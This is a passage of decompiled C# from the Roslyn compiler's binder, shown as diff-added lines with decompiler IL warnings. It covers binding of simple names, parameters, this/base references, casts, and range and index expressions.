(might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_007d: Expected I4, but got Unknown + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_05af: Unknown result type (might be due to invalid IL or missing references) + //IL_02ca: Unknown result type (might be due to invalid IL or missing references) + //IL_00c9: Unknown result type (might be due to invalid IL or missing references) + //IL_00ce: Unknown result type (might be due to invalid IL or missing references) + //IL_00ed: Unknown result type (might be due to invalid IL or missing references) + //IL_02db: Unknown result type (might be due to invalid IL or missing references) + //IL_058c: Unknown result type (might be due to invalid IL or missing references) + //IL_028c: Unknown result type (might be due to invalid IL or missing references) + //IL_0292: Invalid comparison between Unknown and I4 + //IL_01cc: Unknown result type (might be due to invalid IL or missing references) + //IL_01dc: Unknown result type (might be due to invalid IL or missing references) + //IL_0383: Unknown result type (might be due to invalid IL or missing references) + //IL_0432: Unknown result type (might be due to invalid IL or missing references) + //IL_0438: Invalid comparison between Unknown and I4 + //IL_03a6: Unknown result type (might be due to invalid IL or missing references) + //IL_0457: Unknown result type (might be due to invalid IL or missing references) + //IL_045c: Unknown result type (might be due to invalid IL or missing references) + //IL_045e: Unknown result type (might be due to invalid IL or missing references) + //IL_0462: Unknown result type (might be due to invalid IL or missing references) + //IL_0466: Invalid comparison between Unknown and I4 + SymbolKind kind = symbol.Kind; + if (((int)kind != 5 && (int)kind != 15) || 1 == 0) + { + ReportDiagnosticsIfObsolete(diagnostics, symbol, SyntaxNodeOrToken.op_Implicit((SyntaxNode)(object)node), hasBaseReceiver: false); + } + kind = symbol.Kind; + LocalSymbol localSymbol; + TypeSymbol typeSymbol; + bool isNullableUnknown; + ParameterSymbol parameterSymbol; + SynthesizedPrimaryConstructor synthesizedPrimaryConstructor; + bool flag3; + int num; + ConstantValue constantValueOpt; + bool flag; + switch ((int)kind) + { + case 8: + localSymbol = (LocalSymbol)symbol; + if (ReportSimpleProgramLocalReferencedOutsideOfTopLevelStatement(node, localSymbol, diagnostics)) + { + typeSymbol = new ExtendedErrorTypeSymbol(Compilation, "var", 0, null, unreported: false, variableUsedBeforeDeclaration: true); + isNullableUnknown = true; + } + else if (isUsedBeforeDeclaration(node, localSymbol)) + { + FieldSymbol fieldSymbol = null; + LookupResult instance = LookupResult.GetInstance(); + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + LookupMembersInType(instance, ContainingType, localSymbol.Name, 0, null, LookupOptions.Default, this, diagnose: false, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)node, useSiteInfo); + fieldSymbol = instance.SingleSymbolOrDefault as FieldSymbol; + instance.Free(); + if ((object)fieldSymbol != null) + { + Error(diagnostics, ErrorCode.ERR_VariableUsedBeforeDeclarationAndHidesField, (CSharpSyntaxNode)node, new object[2] { node, fieldSymbol }); + } + else + { + Error(diagnostics, ErrorCode.ERR_VariableUsedBeforeDeclaration, (CSharpSyntaxNode)node, new object[1] { node }); + } + typeSymbol = new ExtendedErrorTypeSymbol(Compilation, "var", 0, null, unreported: false, variableUsedBeforeDeclaration: true); + isNullableUnknown = true; + } + else + { + SourceLocalSymbol obj = localSymbol as SourceLocalSymbol; + if ((object)obj != null && obj.IsVar) + { + SyntaxNode forbiddenZone = localSymbol.ForbiddenZone; + if (forbiddenZone != null && forbiddenZone.Contains((SyntaxNode)(object)node)) + { + diagnostics.Add(localSymbol.ForbiddenDiagnostic, ((SyntaxNode)node).Location, node); + typeSymbol = new ExtendedErrorTypeSymbol(Compilation, "var", 0, null, unreported: false, variableUsedBeforeDeclaration: true); + isNullableUnknown = true; + goto IL_021a; + } + } + typeSymbol = localSymbol.Type; + isNullableUnknown = false; + if (IsBadLocalOrParameterCapture(localSymbol, typeSymbol, localSymbol.RefKind)) + { + isError = true; + if ((int)localSymbol.RefKind == 0 && typeSymbol.IsRestrictedType(ignoreSpanLikeTypes: true)) + { + Error(diagnostics, ErrorCode.ERR_SpecialByRefInLambda, (CSharpSyntaxNode)node, new object[1] { typeSymbol }); + } + else + { + Error(diagnostics, ErrorCode.ERR_AnonDelegateCantUseLocal, (CSharpSyntaxNode)node, new object[1] { localSymbol }); + } + } + } + goto IL_021a; + case 13: + parameterSymbol = (ParameterSymbol)symbol; + synthesizedPrimaryConstructor = parameterSymbol.ContainingSymbol as SynthesizedPrimaryConstructor; + if ((object)synthesizedPrimaryConstructor != null && (!IsInDeclaringTypeInstanceMember(synthesizedPrimaryConstructor) || (ContainingMember() is MethodSymbol methodSymbol2 && (int)methodSymbol2.MethodKind == 1 && (object)methodSymbol2 != synthesizedPrimaryConstructor)) && !IsInsideNameof) + { + Error(diagnostics, ErrorCode.ERR_InvalidPrimaryConstructorParameterReference, (CSharpSyntaxNode)node, new object[1] { parameterSymbol }); + } + else if (IsBadLocalOrParameterCapture(parameterSymbol, parameterSymbol.Type, parameterSymbol.RefKind)) + { + isError = true; + if ((int)parameterSymbol.RefKind != 0) + { + Error(diagnostics, ErrorCode.ERR_AnonDelegateCantUse, (CSharpSyntaxNode)node, new object[1] { parameterSymbol.Name }); + } + else if (parameterSymbol.Type.IsRestrictedType(ignoreSpanLikeTypes: true)) + { + Error(diagnostics, ErrorCode.ERR_SpecialByRefInLambda, (CSharpSyntaxNode)node, new object[1] { parameterSymbol.Type }); + } + else + { + Error(diagnostics, ErrorCode.ERR_AnonDelegateCantUseRefLike, (CSharpSyntaxNode)node, new object[1] { parameterSymbol.Name }); + } + } + else if ((object)synthesizedPrimaryConstructor != null) + { + flag3 = ContainingMember() is MethodSymbol methodSymbol3 && (object)synthesizedPrimaryConstructor != methodSymbol3; + if (!flag3 || ((int)parameterSymbol.RefKind == 0 && !parameterSymbol.Type.IsRestrictedType()) || IsInsideNameof) + { + if ((object)synthesizedPrimaryConstructor != null) + { + ParameterSymbol thisParameter = synthesizedPrimaryConstructor.ThisParameter; + if ((object)thisParameter != null) + { + num = (((int)thisParameter.RefKind != 0) ? 1 : 0); + goto IL_0440; + } + } + num = 0; + goto IL_0440; + } + if ((int)parameterSymbol.RefKind != 0) + { + Error(diagnostics, ErrorCode.ERR_UnsupportedPrimaryConstructorParameterCapturingRef, (CSharpSyntaxNode)node, new object[1] { parameterSymbol.Name }); + } + else if (parameterSymbol.Type.IsRestrictedType(ignoreSpanLikeTypes: true)) + { + Error(diagnostics, ErrorCode.ERR_UnsupportedPrimaryConstructorParameterCapturingRefAny, (CSharpSyntaxNode)node, new object[1] { parameterSymbol.Type }); + } + else + { + Error(diagnostics, ErrorCode.ERR_UnsupportedPrimaryConstructorParameterCapturingRefLike, (CSharpSyntaxNode)node, new object[1] { parameterSymbol.Name }); + } + } + goto IL_04ac; + case 4: + case 11: + case 17: + return new BoundTypeExpression((SyntaxNode)(object)node, null, (TypeSymbol)symbol, isError); + case 15: + { + BoundExpression receiver3 = SynthesizeReceiver((SyntaxNode)(object)node, symbol, diagnostics); + return BindPropertyAccess((SyntaxNode)(object)node, receiver3, (PropertySymbol)symbol, diagnostics, resultKind, isError); + } + case 5: + { + BoundExpression receiver2 = SynthesizeReceiver((SyntaxNode)(object)node, symbol, diagnostics); + return BindEventAccess((SyntaxNode)(object)node, receiver2, (EventSymbol)symbol, diagnostics, resultKind, isError); + } + case 6: + { + BoundExpression receiver = SynthesizeReceiver((SyntaxNode)(object)node, symbol, diagnostics); + return BindFieldAccess((SyntaxNode)(object)node, receiver, (FieldSymbol)symbol, diagnostics, resultKind, indexed, isError); + } + case 12: + return new BoundNamespaceExpression((SyntaxNode)(object)node, (NamespaceSymbol)symbol, isError); + case 0: + { + AliasSymbol aliasSymbol = (AliasSymbol)symbol; + NamespaceOrTypeSymbol target = aliasSymbol.Target; + if (!(target is TypeSymbol type)) + { + if (target is NamespaceSymbol namespaceSymbol) + { + return new BoundNamespaceExpression((SyntaxNode)(object)node, namespaceSymbol, aliasSymbol, isError); + } + throw ExceptionUtilities.UnexpectedValue((object)aliasSymbol.Target.Kind); + } + return new BoundTypeExpression((SyntaxNode)(object)node, aliasSymbol, type, isError); + } + case 16: + return BindRangeVariable(node, (RangeVariableSymbol)symbol, diagnostics); + default: + { + throw ExceptionUtilities.UnexpectedValue((object)symbol.Kind); + } + IL_021a: + constantValueOpt = ((localSymbol.IsConst && !IsInsideNameof && !typeSymbol.IsErrorType()) ? localSymbol.GetConstantValue((SyntaxNode)(object)node, LocalInProgress, diagnostics) : null); + return new BoundLocal((SyntaxNode)(object)node, localSymbol, BoundLocalDeclarationKind.None, constantValueOpt, isNullableUnknown, typeSymbol, isError); + IL_04ac: + return new BoundParameter((SyntaxNode)(object)node, parameterSymbol, isError); + IL_0440: + flag = (byte)num != 0; + if (flag) + { + bool flag2 = ((ContainingMemberOrLambda is MethodSymbol { MethodKind: var methodKind } && ((int)methodKind == 0 || (int)methodKind == 17)) ? true : false); + flag = flag2; + } + if (flag && !IsInsideNameof) + { + if (flag3) + { + Error(diagnostics, ErrorCode.ERR_AnonDelegateCantUseStructPrimaryConstructorParameterInMember, (CSharpSyntaxNode)node); + } + else if (synthesizedPrimaryConstructor.GetCapturedParameters().ContainsKey(parameterSymbol)) + { + Error(diagnostics, ErrorCode.ERR_AnonDelegateCantUseStructPrimaryConstructorParameterCaptured, (CSharpSyntaxNode)node); + } + } + goto IL_04ac; + } + static bool isUsedBeforeDeclaration(SimpleNameSyntax simpleNameSyntax, LocalSymbol localSymbol2) + { + if (!localSymbol2.HasSourceLocation) + { + return false; + } + SyntaxNode declaratorSyntax = localSymbol2.GetDeclaratorSyntax(); + if (((SyntaxNode)simpleNameSyntax).SpanStart >= declaratorSyntax.SpanStart) + { + return false; + } + return simpleNameSyntax.SyntaxTree == declaratorSyntax.SyntaxTree; + } + } + + private bool IsInDeclaringTypeInstanceMember(SynthesizedPrimaryConstructor primaryCtor) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Invalid comparison between Unknown and I4 + if (!InParameterDefaultValue && !InAttributeArgument) + { + Symbol symbol = ContainingMember(); + if ((object)symbol != null && (int)symbol.Kind != 11 && !symbol.IsStatic) + { + return (object)symbol.ContainingSymbol == primaryCtor.ContainingSymbol; + } + } + return false; + } + + private bool ReportSimpleProgramLocalReferencedOutsideOfTopLevelStatement(SimpleNameSyntax node, Symbol symbol, BindingDiagnosticBag diagnostics) + { + if (symbol.ContainingSymbol is SynthesizedSimpleProgramEntryPointSymbol && !(ContainingMember() is SynthesizedSimpleProgramEntryPointSymbol)) + { + Error(diagnostics, ErrorCode.ERR_SimpleProgramLocalIsReferencedOutsideOfTopLevelStatement, (CSharpSyntaxNode)node, new object[1] { node }); + return true; + } + return false; + } + + protected virtual BoundExpression BindRangeVariable(SimpleNameSyntax node, RangeVariableSymbol qv, BindingDiagnosticBag diagnostics) + { + return Next.BindRangeVariable(node, qv, diagnostics); + } + + private BoundExpression SynthesizeReceiver(SyntaxNode node, Symbol member, BindingDiagnosticBag diagnostics) + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_00db: Unknown result type (might be due to invalid IL or missing references) + //IL_00e2: Invalid comparison between Unknown and I4 + if (!member.RequiresInstanceReceiver()) + { + return null; + } + NamedTypeSymbol containingType = ContainingType; + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + NamedTypeSymbol containingType2 = member.ContainingType; + if (containingType.IsEqualToOrDerivedFrom(containingType2, (TypeCompareKind)0, ref useSiteInfo) || (containingType.IsInterface && (containingType2.IsObjectType() || containingType.AllInterfacesNoUseSiteDiagnostics.Contains(containingType2)))) + { + bool flag = false; + if (!IsInsideNameof || (EnclosingNameofArgument != node && !node.IsFeatureEnabled(MessageID.IDS_FeatureInstanceMemberInNameof))) + { + DiagnosticInfo val = null; + if (InFieldInitializer && !containingType.IsScriptClass) + { + val = (DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_FieldInitRefNonstatic, member); + } + else if (InConstructorInitializer || InAttributeArgument) + { + val = (DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_ObjectRequired, member); + } + else + { + Symbol symbol = ContainingMember(); + if (symbol.IsStatic || ((int)symbol.Kind == 11 && !containingType.IsScriptClass)) + { + val = (DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_ObjectRequired, member); + } + } + if (val == null) + { + val = GetDiagnosticIfRefOrOutThisParameterCaptured(); + } + flag = val != null; + if (flag) + { + if (IsInsideNameof) + { + CheckFeatureAvailability(node, MessageID.IDS_FeatureInstanceMemberInNameof, diagnostics); + } + else + { + Error(diagnostics, val, node); + } + } + } + return ThisReference(node, containingType, flag, wasCompilerGenerated: true); + } + return TryBindInteractiveReceiver(node, containingType2); + } + + internal Symbol ContainingMember() + { + return ContainingMemberOrLambda.ContainingNonLambdaMember(); + } + + private BoundExpression TryBindInteractiveReceiver(SyntaxNode syntax, NamedTypeSymbol memberDeclaringType) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Invalid comparison between Unknown and I4 + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Invalid comparison between Unknown and I4 + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + if ((int)ContainingType.TypeKind == 12 && isInstanceContext()) + { + if ((int)memberDeclaringType.TypeKind == 12) + { + return new BoundPreviousSubmissionReference(syntax, memberDeclaringType) + { + WasCompilerGenerated = true + }; + } + TypeSymbol hostObjectTypeSymbol = Compilation.GetHostObjectTypeSymbol(); + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + if ((object)hostObjectTypeSymbol != null && hostObjectTypeSymbol.IsEqualToOrDerivedFrom(memberDeclaringType, (TypeCompareKind)0, ref useSiteInfo)) + { + return new BoundHostObjectMemberReference(syntax, hostObjectTypeSymbol) + { + WasCompilerGenerated = true + }; + } + } + return null; + bool isInstanceContext() + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Invalid comparison between Unknown and I4 + Symbol symbol = ContainingMemberOrLambda; + do + { + if (symbol.IsStatic) + { + return false; + } + if ((int)symbol.Kind == 11) + { + break; + } + symbol = symbol.ContainingSymbol; + } + while ((object)symbol != null); + return true; + } + } + + public BoundExpression BindNamespaceOrTypeOrExpression(ExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + if (node.Kind() == SyntaxKind.PredefinedType) + { + return BindNamespaceOrType(node, diagnostics); + } + if (SyntaxFacts.IsName(node.Kind())) + { + if (SyntaxFacts.IsNamespaceAliasQualifier(node)) + { + return BindNamespaceAlias((IdentifierNameSyntax)node, diagnostics); + } + if (SyntaxFacts.IsInNamespaceOrTypeContext(node)) + { + return BindNamespaceOrType(node, diagnostics); + } + } + else if (SyntaxFacts.IsTypeSyntax(node.Kind())) + { + return BindNamespaceOrType(node, diagnostics); + } + return BindExpression(node, diagnostics, SyntaxFacts.IsInvoked(node), SyntaxFacts.IsIndexed(node)); + } + + public BoundExpression BindLabel(ExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + if (!(node is IdentifierNameSyntax identifierNameSyntax)) + { + return BadExpression((SyntaxNode)(object)node, LookupResultKind.NotLabel); + } + LookupResult instance = LookupResult.GetInstance(); + SyntaxToken identifier = identifierNameSyntax.Identifier; + string valueText = ((SyntaxToken)(ref identifier)).ValueText; + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + LookupSymbolsWithFallback(instance, valueText, 0, ref useSiteInfo, null, LookupOptions.LabelsOnly); + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)node, useSiteInfo); + if (!instance.IsMultiViable) + { + Error(diagnostics, ErrorCode.ERR_LabelNotFound, (CSharpSyntaxNode)node, new object[1] { valueText }); + instance.Free(); + return BadExpression((SyntaxNode)(object)node, instance.Kind); + } + LabelSymbol label = (LabelSymbol)instance.Symbols.First(); + instance.Free(); + return new BoundLabel((SyntaxNode)(object)node, label, null); + } + + public BoundExpression BindNamespaceOrType(ExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + return CreateBoundNamespaceOrTypeExpression(node, BindNamespaceOrTypeOrAliasSymbol(node, diagnostics, null, suppressUseSiteDiagnostics: false).Symbol); + } + + public BoundExpression BindNamespaceAlias(IdentifierNameSyntax node, BindingDiagnosticBag diagnostics) + { + Symbol symbol = BindNamespaceAliasSymbol(node, diagnostics); + return CreateBoundNamespaceOrTypeExpression(node, symbol); + } + + private static BoundExpression CreateBoundNamespaceOrTypeExpression(ExpressionSyntax node, Symbol symbol) + { + AliasSymbol aliasSymbol = symbol as AliasSymbol; + if ((object)aliasSymbol != null) + { + symbol = aliasSymbol.Target; + } + if (symbol is TypeSymbol type) + { + return new BoundTypeExpression((SyntaxNode)(object)node, aliasSymbol, type); + } + if (symbol is NamespaceSymbol namespaceSymbol) + { + return new BoundNamespaceExpression((SyntaxNode)(object)node, namespaceSymbol, aliasSymbol); + } + throw ExceptionUtilities.UnexpectedValue((object)symbol); + } + + private BoundThisReference BindThis(ThisExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + bool hasErrors = true; + if (!HasThis(isExplicit: true, out var inStaticContext)) + { + Error(diagnostics, inStaticContext ? ErrorCode.ERR_ThisInStaticMeth : ErrorCode.ERR_ThisInBadContext, (CSharpSyntaxNode)node); + } + else + { + hasErrors = IsRefOrOutThisParameterCaptured(SyntaxNodeOrToken.op_Implicit(node.Token), diagnostics); + } + return ThisReference((SyntaxNode)(object)node, ContainingType, hasErrors); + } + + private BoundThisReference ThisReference(SyntaxNode node, NamedTypeSymbol thisTypeOpt, bool hasErrors = false, bool wasCompilerGenerated = false) + { + return new BoundThisReference(node, thisTypeOpt ?? CreateErrorType(), hasErrors) + { + WasCompilerGenerated = wasCompilerGenerated + }; + } + + private bool IsRefOrOutThisParameterCaptured(SyntaxNodeOrToken thisOrBaseToken, BindingDiagnosticBag diagnostics) + { + DiagnosticInfo diagnosticIfRefOrOutThisParameterCaptured = GetDiagnosticIfRefOrOutThisParameterCaptured(); + if (diagnosticIfRefOrOutThisParameterCaptured != null) + { + Location location = ((SyntaxNodeOrToken)(ref thisOrBaseToken)).GetLocation(); + Error(diagnostics, diagnosticIfRefOrOutThisParameterCaptured, location); + return true; + } + return false; + } + + private DiagnosticInfo? GetDiagnosticIfRefOrOutThisParameterCaptured() + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + ParameterSymbol parameterSymbol = ContainingMemberOrLambda.EnclosingThisSymbol(); + if ((object)parameterSymbol != null && parameterSymbol.ContainingSymbol != ContainingMemberOrLambda && (int)parameterSymbol.RefKind != 0) + { + return (DiagnosticInfo?)(object)new CSDiagnosticInfo(ErrorCode.ERR_ThisStructNotInAnonMeth); + } + return null; + } + + private BoundBaseReference BindBase(BaseExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0091: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_00a1: Unknown result type (might be due to invalid IL or missing references) + //IL_00a6: Unknown result type (might be due to invalid IL or missing references) + bool hasErrors = false; + TypeSymbol typeSymbol = (((object)ContainingType == null) ? null : ContainingType.BaseTypeNoUseSiteDiagnostics); + if (!HasThis(isExplicit: true, out var inStaticContext)) + { + Error(diagnostics, inStaticContext ? ErrorCode.ERR_BaseInStaticMeth : ErrorCode.ERR_BaseInBadContext, node.Token); + hasErrors = true; + } + else if ((object)typeSymbol == null) + { + Error(diagnostics, ErrorCode.ERR_NoBaseClass, (CSharpSyntaxNode)node); + hasErrors = true; + } + else if ((object)ContainingType == null || node.Parent == null || (node.Parent.Kind() != SyntaxKind.SimpleMemberAccessExpression && node.Parent.Kind() != SyntaxKind.ElementAccessExpression)) + { + Error(diagnostics, ErrorCode.ERR_BaseIllegal, node.Token); + hasErrors = true; + } + else if (IsRefOrOutThisParameterCaptured(SyntaxNodeOrToken.op_Implicit(node.Token), diagnostics)) + { + hasErrors = true; + } + return new BoundBaseReference((SyntaxNode)(object)node, typeSymbol, hasErrors); + } + + private BoundExpression BindCast(CastExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + BoundExpression boundExpression = BindValue(node.Expression, diagnostics, BindValueKind.RValue); + TypeWithAnnotations targetTypeWithAnnotations = BindType(node.Type, diagnostics); + TypeSymbol type = targetTypeWithAnnotations.Type; + if (type.IsNullableType() && !boundExpression.HasAnyErrors && (object)boundExpression.Type != null && !boundExpression.Type.IsNullableType() && !TypeSymbol.Equals(type.GetNullableUnderlyingType(), boundExpression.Type, (TypeCompareKind)0)) + { + return BindExplicitNullableCastFromNonNullable(node, boundExpression, targetTypeWithAnnotations, diagnostics); + } + return BindCastCore(node, boundExpression, targetTypeWithAnnotations, boundExpression.WasCompilerGenerated, diagnostics); + } + + private BoundExpression BindFromEndIndexExpression(PrefixUnaryExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_00c4: Unknown result type (might be due to invalid IL or missing references) + //IL_00c9: Unknown result type (might be due to invalid IL or missing references) + //IL_00dd: Unknown result type (might be due to invalid IL or missing references) + CheckFeatureAvailability((SyntaxNode)(object)node, MessageID.IDS_FeatureIndexOperator, diagnostics); + GetSpecialType((SpecialType)7, diagnostics, (SyntaxNode)(object)node); + BoundExpression boundExpression = BindValue(node.Operand, diagnostics, BindValueKind.RValue); + TypeSymbol typeSymbol = GetSpecialType((SpecialType)13, diagnostics, (SyntaxNode)(object)node); + TypeSymbol typeSymbol2 = GetWellKnownType((WellKnownType)284, diagnostics, (SyntaxNode)(object)node); + if ((object)boundExpression.Type != null && boundExpression.Type.IsNullableType()) + { + GetSpecialTypeMember((SpecialMember)117, diagnostics, (SyntaxNode)(object)node); + NamedTypeSymbol specialType = GetSpecialType((SpecialType)32, diagnostics, (SyntaxNode)(object)node); + if (!typeSymbol2.IsNonNullableValueType()) + { + Error(diagnostics, ErrorCode.ERR_ValConstraintNotSatisfied, (CSharpSyntaxNode)node, new object[3] + { + specialType, + specialType.TypeParameters.Single(), + typeSymbol2 + }); + } + typeSymbol = specialType.Construct(typeSymbol); + typeSymbol2 = specialType.Construct(typeSymbol2); + } + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + Conversion conversion = Conversions.ClassifyImplicitConversionFromExpression(boundExpression, typeSymbol, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)node, useSiteInfo); + if (!conversion.IsValid) + { + GenerateImplicitConversionError(diagnostics, (SyntaxNode)(object)node, conversion, boundExpression, typeSymbol); + } + BoundExpression operand = CreateConversion(boundExpression, conversion, typeSymbol, diagnostics); + MethodSymbol methodOpt = GetWellKnownTypeMember((WellKnownMember)417, diagnostics, null, (SyntaxNode)(object)node) as MethodSymbol; + return new BoundFromEndIndexExpression((SyntaxNode)(object)node, operand, methodOpt, typeSymbol2); + } + + private BoundExpression BindRangeExpression(RangeExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + CheckFeatureAvailability((SyntaxNode)(object)node, MessageID.IDS_FeatureRangeOperator, diagnostics); + TypeSymbol typeSymbol = GetWellKnownType((WellKnownType)285, diagnostics, (SyntaxNode)(object)node); + MethodSymbol methodSymbol = null; + if (!typeSymbol.IsErrorType()) + { + WellKnownMember? val = null; + if (node.LeftOperand == null && node.RightOperand == null) + { + val = (WellKnownMember)422; + } + else if (node.LeftOperand == null) + { + val = (WellKnownMember)421; + } + else if (node.RightOperand == null) + { + val = (WellKnownMember)420; + } + if (val.HasValue) + { + methodSymbol = (MethodSymbol)GetWellKnownTypeMember(val.GetValueOrDefault(), diagnostics, null, (SyntaxNode)(object)node, isOptional: true); + } + if ((object)methodSymbol == null) + { + methodSymbol = (MethodSymbol)GetWellKnownTypeMember((WellKnownMember)419, diagnostics, null, (SyntaxNode)(object)node); + } + } + BoundExpression boundExpression = BindRangeExpressionOperand(node.LeftOperand, diagnostics); + BoundExpression boundExpression2 = BindRangeExpressionOperand(node.RightOperand, diagnostics); + if ((boundExpression != null && boundExpression.Type.IsNullableType()) || (boundExpression2 != null && boundExpression2.Type.IsNullableType())) + { + GetSpecialType((SpecialType)7, diagnostics, (SyntaxNode)(object)node); + GetSpecialTypeMember((SpecialMember)117, diagnostics, (SyntaxNode)(object)node); + NamedTypeSymbol specialType = GetSpecialType((SpecialType)32, diagnostics, (SyntaxNode)(object)node); + if (!typeSymbol.IsNonNullableValueType()) + { + Error(diagnostics, ErrorCode.ERR_ValConstraintNotSatisfied, (CSharpSyntaxNode)node, new object[3] + { + specialType, + specialType.TypeParameters.Single(), + typeSymbol + }); + } + typeSymbol = specialType.Construct(typeSymbol); + } + return new BoundRangeExpression((SyntaxNode)(object)node, boundExpression, boundExpression2, methodSymbol, typeSymbol); + } + + private BoundExpression BindRangeExpressionOperand(ExpressionSyntax operand, BindingDiagnosticBag diagnostics) + { + //IL_008e: Unknown result type (might be due to invalid IL or missing references) + //IL_0093: Unknown result type (might be due to invalid IL or missing references) + //IL_00a6: Unknown result type (might be due to invalid IL or missing references) + if (operand == null) + { + return null; + } + BoundExpression boundExpression = BindValue(operand, diagnostics, BindValueKind.RValue); + TypeSymbol typeSymbol = GetWellKnownType((WellKnownType)284, diagnostics, (SyntaxNode)(object)operand); + TypeSymbol? type = boundExpression.Type; + if ((object)type != null && type.IsNullableType()) + { + GetSpecialTypeMember((SpecialMember)117, diagnostics, (SyntaxNode)(object)operand); + NamedTypeSymbol specialType = GetSpecialType((SpecialType)32, diagnostics, (SyntaxNode)(object)operand); + if (!typeSymbol.IsNonNullableValueType()) + { + Error(diagnostics, ErrorCode.ERR_ValConstraintNotSatisfied, (CSharpSyntaxNode)operand, new object[3] + { + specialType, + specialType.TypeParameters.Single(), + typeSymbol + }); + } + typeSymbol = specialType.Construct(typeSymbol); + } + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + Conversion conversion = Conversions.ClassifyImplicitConversionFromExpression(boundExpression, typeSymbol, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)operand, useSiteInfo); + if (!conversion.IsValid) + { + GenerateImplicitConversionError(diagnostics, (SyntaxNode)(object)operand, conversion, boundExpression, typeSymbol); + } + return CreateConversion(boundExpression, conversion, typeSymbol, diagnostics); + } + + private BoundExpression BindCastCore(ExpressionSyntax node, BoundExpression operand, TypeWithAnnotations targetTypeWithAnnotations, bool wasCompilerGenerated, BindingDiagnosticBag diagnostics) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + TypeSymbol type = targetTypeWithAnnotations.Type; + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + Conversion conversion = Conversions.ClassifyConversionFromExpression(operand, type, CheckOverflowAtRuntime, ref useSiteInfo, forCast: true); + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)node, useSiteInfo); + ConversionGroup conversionGroupOpt = new ConversionGroup(conversion, targetTypeWithAnnotations); + bool flag = operand.HasAnyErrors || type.IsErrorType(); + bool flag2 = !conversion.IsValid || type.IsStatic; + if (flag2 && !flag) + { + GenerateExplicitConversionErrors(diagnostics, (SyntaxNode)(object)node, conversion, operand, type); + } + return CreateConversion((SyntaxNode)(object)node, operand, conversion, isCast: true, conversionGroupOpt, wasCompilerGenerated, type, diagnostics, flag2 || flag); + } + + private void GenerateExplicitConversionErrors(BindingDiagnosticBag diagnostics, SyntaxNode syntax, Conversion conversion, BoundExpression operand, TypeSymbol targetType) + { + //IL_02f6: Unknown result type (might be due to invalid IL or missing references) + //IL_02fb: Unknown result type (might be due to invalid IL or missing references) + //IL_02fd: Unknown result type (might be due to invalid IL or missing references) + //IL_0300: Invalid comparison between Unknown and I4 + //IL_0195: Unknown result type (might be due to invalid IL or missing references) + //IL_019b: Invalid comparison between Unknown and I4 + //IL_0302: Unknown result type (might be due to invalid IL or missing references) + //IL_0306: Invalid comparison between Unknown and I4 + //IL_0280: Unknown result type (might be due to invalid IL or missing references) + //IL_0242: Unknown result type (might be due to invalid IL or missing references) + //IL_02de: Unknown result type (might be due to invalid IL or missing references) + if (operand.Kind == BoundKind.UnboundLambda) + { + GenerateAnonymousFunctionConversionError(diagnostics, operand.Syntax, (UnboundLambda)operand, targetType); + } + else + { + if (operand.HasAnyErrors || targetType.IsErrorType()) + { + return; + } + if (targetType.IsStatic) + { + diagnostics.Add(ErrorCode.ERR_ConvertToStaticClass, syntax.Location, targetType); + return; + } + if (!targetType.IsReferenceType && !targetType.IsNullableType() && operand.IsLiteralNull()) + { + diagnostics.Add(ErrorCode.ERR_ValueCantBeNull, syntax.Location, targetType); + return; + } + if (conversion.ResultKind == LookupResultKind.OverloadResolutionFailure) + { + ImmutableArray originalUserDefinedConversions = conversion.OriginalUserDefinedConversions; + if 